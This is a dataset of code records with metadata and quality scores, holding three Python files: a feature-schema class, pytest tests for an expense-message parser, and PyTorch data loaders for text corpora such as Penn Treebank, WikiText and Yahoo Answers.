hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c74cd8d41196999844c9bbc2375fda35bf1f732c
| 281
|
py
|
Python
|
hyperplan/feature_schema.py
|
hyperplan-io/cli
|
dc7d407701fd78d9065d60c35b0f2674b28c86bb
|
[
"MIT"
] | 1
|
2019-09-04T02:33:34.000Z
|
2019-09-04T02:33:34.000Z
|
hyperplan/feature_schema.py
|
hyperplan-io/cli
|
dc7d407701fd78d9065d60c35b0f2674b28c86bb
|
[
"MIT"
] | 1
|
2019-09-16T06:09:42.000Z
|
2019-09-16T06:09:42.000Z
|
hyperplan/feature_schema.py
|
hyperplan-io/cli
|
dc7d407701fd78d9065d60c35b0f2674b28c86bb
|
[
"MIT"
] | null | null | null |
import json
class FeatureSchema():
def __init__(self, feature_id, feature_descriptors):
self.feature_id = feature_id
self.feature_descriptors = feature_descriptors
def to_json(self):
return {'id': self.feature_id, 'data': self.feature_descriptors}
| 31.222222
| 72
| 0.715302
| 34
| 281
| 5.529412
| 0.382353
| 0.292553
| 0.207447
| 0.212766
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.192171
| 281
| 8
| 73
| 35.125
| 0.828194
| 0
| 0
| 0
| 0
| 0
| 0.021352
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0.142857
| 0.142857
| 0.714286
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
c75cfccb8979243548036c1113346da562948937
| 1,580
|
py
|
Python
|
test_expense_parser.py
|
mahasak/bearlord
|
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
|
[
"CC0-1.0"
] | null | null | null |
test_expense_parser.py
|
mahasak/bearlord
|
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
|
[
"CC0-1.0"
] | 7
|
2020-10-08T13:35:43.000Z
|
2020-10-09T09:54:15.000Z
|
test_expense_parser.py
|
mahasak/bearlord
|
eec6ceb9e484e9f9fbaf58b311a190ff20f771f5
|
[
"CC0-1.0"
] | null | null | null |
import pytest
from expense import ExpenseTracker
class TestExpenseParser(object):
def test_parse_amount_only(self):
test_payload = "?>expense 20"
tracker = ExpenseTracker()
payload = tracker.parse_message("EXPENSE", test_payload)
assert payload["Amount"] == -20
assert payload["Currency"] == "SGD"
assert payload["Description"] == ""
assert payload["Category"] == ""
def test_parse_amount_and_currency(self):
test_payload = "?>expense 20 THB"
tracker = ExpenseTracker()
payload = tracker.parse_message("EXPENSE", test_payload)
assert payload["Amount"] == -20
assert payload["Currency"] == "THB"
assert payload["Description"] == ""
assert payload["Category"] == ""
def test_parse_amount_with_currency_and_description(self):
test_payload = "?>expense 20 THB Manga"
tracker = ExpenseTracker()
payload = tracker.parse_message("EXPENSE", test_payload)
assert payload["Amount"] == -20
assert payload["Currency"] == "THB"
assert payload["Description"] == "Manga"
assert payload["Category"] == ""
def test_parse_amount_with_currency_and_description_and_category(self):
test_payload = "?>expense 20 THB Manga ENT"
tracker = ExpenseTracker()
payload = tracker.parse_message("EXPENSE", test_payload)
assert payload["Amount"] == -20
assert payload["Currency"] == "THB"
assert payload["Description"] == "Manga"
assert payload["Category"] == "ENT"
| 37.619048
| 75
| 0.636076
| 159
| 1,580
| 6.113208
| 0.176101
| 0.213992
| 0.049383
| 0.074074
| 0.872428
| 0.847737
| 0.819959
| 0.754115
| 0.754115
| 0.754115
| 0
| 0.013289
| 0.237975
| 1,580
| 41
| 76
| 38.536585
| 0.79402
| 0
| 0
| 0.628571
| 0
| 0
| 0.16519
| 0
| 0
| 0
| 0
| 0
| 0.457143
| 1
| 0.114286
| false
| 0
| 0.057143
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c779f608a6a63577b72465466d2e74ccde9b966b
| 28,456
|
py
|
Python
|
src/tyche/data/experimental/loader.py
|
cesarali/Tyche
|
d892df9e0b982f538ae38221ff5848f6d726a4fb
|
[
"MIT"
] | null | null | null |
src/tyche/data/experimental/loader.py
|
cesarali/Tyche
|
d892df9e0b982f538ae38221ff5848f6d726a4fb
|
[
"MIT"
] | null | null | null |
src/tyche/data/experimental/loader.py
|
cesarali/Tyche
|
d892df9e0b982f538ae38221ff5848f6d726a4fb
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractmethod
import torch
from nltk.tokenize import TweetTokenizer
from torch.utils.data.dataloader import DataLoader
from tyche.data.experimental.datasets import WikiText2, WikiText103, PennTreebank, YelpReviewPolarity, YelpReviewFull,\
YahooAnswers, PennTreebankPretrained, YahooAnswersPretrained, WikiText103Pretrained, Atomic2, WikiOptimus
sampler = torch.utils.data.RandomSampler
DistributedSampler = torch.utils.data.distributed.DistributedSampler
tokenizer = TweetTokenizer(preserve_case=False).tokenize
class ADataLoader(ABC):
def __init__(self, device, rank: int = 0, world_size: int = -1, **kwargs):
self.device = device
self.batch_size = kwargs.pop('batch_size')
self.path_to_vectors = kwargs.pop('path_to_vectors', None)
self.emb_dim = kwargs.pop('emb_dim', None)
self.voc_size = kwargs.pop('voc_size', None)
self.min_freq = kwargs.pop('min_freq', 1)
self._fix_length = kwargs.pop('fix_len', None)
self.min_len = kwargs.pop('min_len', None)
self.max_len = kwargs.pop('max_len', None)
self.lower = kwargs.pop('lower', False)
self.punctuation = kwargs.pop('punctuation', True)
self.dataset_kwargs = kwargs
self.world_size = world_size
self.rank = rank
@property
@abstractmethod
def train(self): ...
@property
@abstractmethod
def validate(self): ...
@property
@abstractmethod
def test(self): ...
@property
def n_train_batches(self):
return len(self.train)
@property
def n_validate_batches(self):
return len(self.validate)
@property
def n_test_batches(self):
return len(self.test)
@property
def train_set_size(self):
return len(self.train.dataset)
@property
def validation_set_size(self):
return len(self.validate.dataset)
@property
def test_set_size(self):
return len(self.test.dataset)
class DataLoaderPTB(ADataLoader):
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
path_to_vectors = kwargs.pop('path_to_vectors')
emb_dim = kwargs.pop('emb_dim')
voc_size = kwargs.pop('voc_size')
min_freq = kwargs.pop('min_freq')
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
train_dataset, test_dataset, valid_dataset = PennTreebank(root=path_to_data, tokenizer=tokenizer,
path_to_vectors=path_to_vectors,
emb_dim=emb_dim,
voc_size=voc_size,
min_freq=min_freq,
fix_len=fix_len,
min_len=min_len)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs)
vocab = train_dataset.get_vocab()
self.train_vocab = vocab
self._fix_length = fix_len
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def vocab(self):
return self.train_vocab
@property
def fix_len(self):
return self._fix_length
class DataLoaderWiki2(ADataLoader):
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
path_to_vectors = kwargs.pop('path_to_vectors')
emb_dim = kwargs.pop('emb_dim')
voc_size = kwargs.pop('voc_size')
min_freq = kwargs.pop('min_freq')
fix_len = kwargs.pop('fix_len')
min_len = kwargs.pop('min_len')
train_dataset, test_dataset, valid_dataset = WikiText2(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors,
emb_dim=emb_dim,
voc_size=voc_size,
min_freq=min_freq,
fix_len=fix_len,
min_len=min_len)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs)
vocab = train_dataset.get_vocab()
self.train_vocab = vocab
self._fix_length = fix_len
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def vocab(self):
return self.train_vocab
@property
def fix_len(self):
return self._fix_length
class DataLoaderWiki103(ADataLoader):
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
path_to_vectors = kwargs.pop('path_to_vectors')
emb_dim = kwargs.pop('emb_dim')
voc_size = kwargs.pop('voc_size')
min_freq = kwargs.pop('min_freq')
fix_len = kwargs.pop('fix_len')
min_len = kwargs.pop('min_len')
train_dataset, test_dataset, valid_dataset = WikiText103(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors, emb_dim=emb_dim,
voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs)
vocab = train_dataset.get_vocab()
vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors)
self.train_vocab = vocab
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def vocab(self):
return self.train_vocab
@property
def fix_len(self):
return self._fix_length
class DataLoaderYelpReviewPolarity(ADataLoader):
"""
This is a data loader for the Yelp review dataset with sentiment. The user can also change the proportion of visible target labels
i.e. from fully supervised to un-supervised.
"""
def __init__(self, device, rank: int = 0, world_size=-1, supervised_proportion=0.9, **kwargs):
"""
Provide the location folder of the dataset, if the folder is empty or does not exists the data will be downloaded automatically.
:param device:
:param rank:
:param world_size:
:param supervised_proportion: the proportion of the data with masked labels,
:param kwargs:
"""
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
path_to_vectors = kwargs.pop('path_to_vectors')
emb_dim = kwargs.pop('emb_dim')
voc_size = kwargs.pop('voc_size')
min_freq = kwargs.pop('min_freq')
fix_len = kwargs.pop('fix_len')
min_len = kwargs.pop('min_len')
train_dataset, test_dataset, valid_dataset = YelpReviewPolarity(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors,
emb_dim=emb_dim,
voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len,
supervised_proportion=supervised_proportion)
train_sampler = torch.utils.data.WeightedRandomSampler(train_dataset.data['weights'], num_samples=len(train_dataset.data['weights']))
valid_sampler = None
test_sampler = None
if self.world_size != -1:
raise NotImplementedError('Distributed training and semi-supervised data loaders not implemented!')
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs)
vocab = train_dataset.vocab
vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors)
self.train_vocab = vocab
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def vocab(self):
return self.train_vocab
@property
def fix_len(self):
return self._fix_length
class DataLoaderSemiSupervised(ADataLoader):
"""
This is a data loader for any labelled text classification data set. The user can also change the proportion of visible target labels
i.e. from fully supervised to un-supervised.
"""
def __init__(self, device, rank: int = 0, world_size=-1, supervised_proportion=0.9, **kwargs):
"""
Provide the location folder of the dataset, if the folder is empty or does not exists the data will be downloaded automatically.
:param device:
:param rank:
:param world_size:
:param supervised_proportion: the proportion of the data with masked labels,
:param kwargs:
:param dataset: [YelpReviewPolarity, YelpReviewFull, YahooAnswers]
"""
dataset = eval(kwargs.pop('dataset'))
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
path_to_vectors = kwargs.pop('path_to_vectors')
emb_dim = kwargs.pop('emb_dim')
voc_size = kwargs.pop('voc_size')
min_freq = kwargs.pop('min_freq')
fix_len = kwargs.pop('fix_len')
min_len = kwargs.pop('min_len')
train_dataset, test_dataset, valid_dataset = dataset(root=path_to_data, tokenizer=tokenizer, path_to_vectors=path_to_vectors,
emb_dim=emb_dim,
voc_size=voc_size, min_freq=min_freq, fix_len=fix_len, min_len=min_len,
supervised_proportion=supervised_proportion)
train_sampler = torch.utils.data.WeightedRandomSampler(train_dataset.data['weights'], num_samples=len(train_dataset.data['weights']))
valid_sampler = None
test_sampler = None
if self.world_size != -1:
raise NotImplementedError('Distributed training and semi-supervised data loaders not implemented!')
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler, shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler, shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler, shuffle=test_sampler is None, **kwargs)
vocab = train_dataset.vocab
vocab.load_vectors(self.emb_dim, unk_init=None, cache=self.path_to_vectors)
self.train_vocab = vocab
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def vocab(self):
return self.train_vocab
@property
def fix_len(self):
return self._fix_length
class DataLoaderPTBPretrained(ADataLoader):
"""
Data loader for PTB with pretrained tokenizers and models from huggingface
"""
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data)
super().__init__(device, rank, world_size, **kwargs)
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None)
assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified'
train_dataset, test_dataset, valid_dataset = PennTreebankPretrained(root=path_to_data,
pretrained_tokenizer=pretrained_tokenizer,
fix_len=fix_len,
min_len=min_len,
path_to_pretrained_models=self.path_to_pretrained_models)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler,
shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler,
shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler,
shuffle=test_sampler is None, **kwargs)
self._pad_token_id = train_dataset.get_pad_token_id()
self._fix_length = fix_len
self._num_added_tokens = train_dataset.get_num_added_tokens()
self._tokenizer = train_dataset.tokenizer_list[-1]
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def tokenizer(self):
return self._tokenizer
@property
def pad_token_id(self):
return self._pad_token_id
@property
def fix_len(self):
return self._fix_length
@property
def num_added_tokens(self):
return self._num_added_tokens
@property
def vocab(self): # for compatibility with TextTrainer
return None
class DataLoaderYahooPretrained(ADataLoader):
"""
Data loader for YahooAnswers with pretrained tokenizers and models from huggingface
"""
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data)
super().__init__(device, rank, world_size, **kwargs)
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None)
assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified'
train_dataset, test_dataset, valid_dataset = YahooAnswersPretrained(root=path_to_data,
pretrained_tokenizer=pretrained_tokenizer,
fix_len=fix_len,
min_len=min_len,
path_to_pretrained_models=self.path_to_pretrained_models)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler,
shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler,
shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler,
shuffle=test_sampler is None, **kwargs)
self._pad_token_id = train_dataset.get_pad_token_id()
self._fix_length = fix_len
self._num_added_tokens = train_dataset.get_num_added_tokens()
self._tokenizer = train_dataset.tokenizer_list[-1]
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def tokenizer(self):
return self._tokenizer
@property
def pad_token_id(self):
return self._pad_token_id
@property
def fix_len(self):
return self._fix_length
@property
def num_added_tokens(self):
return self._num_added_tokens
@property
def vocab(self): # for compatibility with TextTrainer
return None
class DataLoaderWiki103Pretrained(ADataLoader):
"""
Data loader for YahooAnswers with pretrained tokenizers and models from huggingface
"""
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data)
super().__init__(device, rank, world_size, **kwargs)
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None)
assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified'
train_dataset, test_dataset, valid_dataset = WikiText103Pretrained(root=path_to_data,
pretrained_tokenizer=pretrained_tokenizer,
fix_len=fix_len,
min_len=min_len,
path_to_pretrained_models=self.path_to_pretrained_models)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler,
shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler,
shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler,
shuffle=test_sampler is None, **kwargs)
self._pad_token_id = train_dataset.get_pad_token_id()
self._fix_length = fix_len
self._num_added_tokens = train_dataset.get_num_added_tokens()
self._tokenizer = train_dataset.tokenizer_list[-1]
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def tokenizer(self):
return self._tokenizer
@property
def pad_token_id(self):
return self._pad_token_id
@property
def fix_len(self):
return self._fix_length
@property
def num_added_tokens(self):
return self._num_added_tokens
@property
def vocab(self): # for compatibility with TextTrainer
return None
class DataLoaderWikiOptimus(ADataLoader):
"""
Data loader for Wikipedia preprocessed in Optimus with pretrained tokenizers and models from huggingface
"""
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
self.path_to_pretrained_models = kwargs.pop('path_to_pretrained_models', path_to_data)
super().__init__(device, rank, world_size, **kwargs)
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
pretrained_tokenizer = kwargs.pop('pretrained_tokenizer', None)
assert pretrained_tokenizer is not None, 'no pretrained tokenizer specified'
train_dataset, test_dataset, valid_dataset = WikiOptimus(root=path_to_data,
pretrained_tokenizer=pretrained_tokenizer,
fix_len=fix_len,
min_len=min_len,
path_to_pretrained_models=self.path_to_pretrained_models)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler,
shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler,
shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler,
shuffle=test_sampler is None, **kwargs)
self._pad_token_id = train_dataset.get_pad_token_id()
self._fix_length = fix_len
self._num_added_tokens = train_dataset.get_num_added_tokens()
self._tokenizer = train_dataset.tokenizer_list[-1]
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def tokenizer(self):
return self._tokenizer
@property
def pad_token_id(self):
return self._pad_token_id
@property
def fix_len(self):
return self._fix_length
@property
def num_added_tokens(self):
return self._num_added_tokens
@property
def vocab(self): # for compatibility with TextTrainer
return None
class DataLoaderAtomic2(ADataLoader):
"""
Data loader for YahooAnswers with pretrained tokenizers and models from huggingface
"""
def __init__(self, device, rank: int = 0, world_size=-1, **kwargs):
path_to_data = kwargs.pop('path_to_data')
super().__init__(device, rank, world_size, **kwargs)
min_len = kwargs.pop('min_len')
fix_len = kwargs.pop('fix_len')
train_dataset, test_dataset, valid_dataset = Atomic2(root=path_to_data,
fix_len=fix_len,
min_len=min_len)
train_sampler = None
valid_sampler = None
test_sampler = None
if self.world_size != -1:
train_sampler = DistributedSampler(train_dataset, self.world_size, self.rank)
valid_sampler = DistributedSampler(valid_dataset, self.world_size, self.rank)
test_sampler = DistributedSampler(test_dataset, self.world_size, self.rank)
self._train_iter = DataLoader(train_dataset, drop_last=True, sampler=train_sampler,
shuffle=train_sampler is None, **kwargs)
self._valid_iter = DataLoader(valid_dataset, drop_last=True, sampler=valid_sampler,
shuffle=valid_sampler is None, **kwargs)
self._test_iter = DataLoader(test_dataset, drop_last=True, sampler=test_sampler,
shuffle=test_sampler is None, **kwargs)
self._pad_token_id = train_dataset.get_pad_token_id()
self._fix_length = fix_len
self._num_added_tokens = train_dataset.get_num_added_tokens()
self._tokenizer = train_dataset.tokenizer_list[-1]
@property
def train(self):
return self._train_iter
@property
def test(self):
return self._test_iter
@property
def validate(self):
return self._valid_iter
@property
def tokenizer(self):
return self._tokenizer
@property
def pad_token_id(self):
return self._pad_token_id
@property
def fix_len(self):
return self._fix_length
@property
def num_added_tokens(self):
return self._num_added_tokens
@property
def vocab(self): # for compatibility with TextTrainer
return None
| 39.854342
| 154
| 0.621451
| 3,264
| 28,456
| 5.087623
| 0.052696
| 0.027099
| 0.050584
| 0.034325
| 0.904131
| 0.897748
| 0.888113
| 0.884379
| 0.882271
| 0.880224
| 0
| 0.003306
| 0.298355
| 28,456
| 713
| 155
| 39.910238
| 0.828408
| 0.054997
| 0
| 0.881579
| 0
| 0
| 0.038371
| 0.003754
| 0
| 0
| 0
| 0
| 0.007519
| 1
| 0.159774
| false
| 0
| 0.009399
| 0.133459
| 0.323308
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
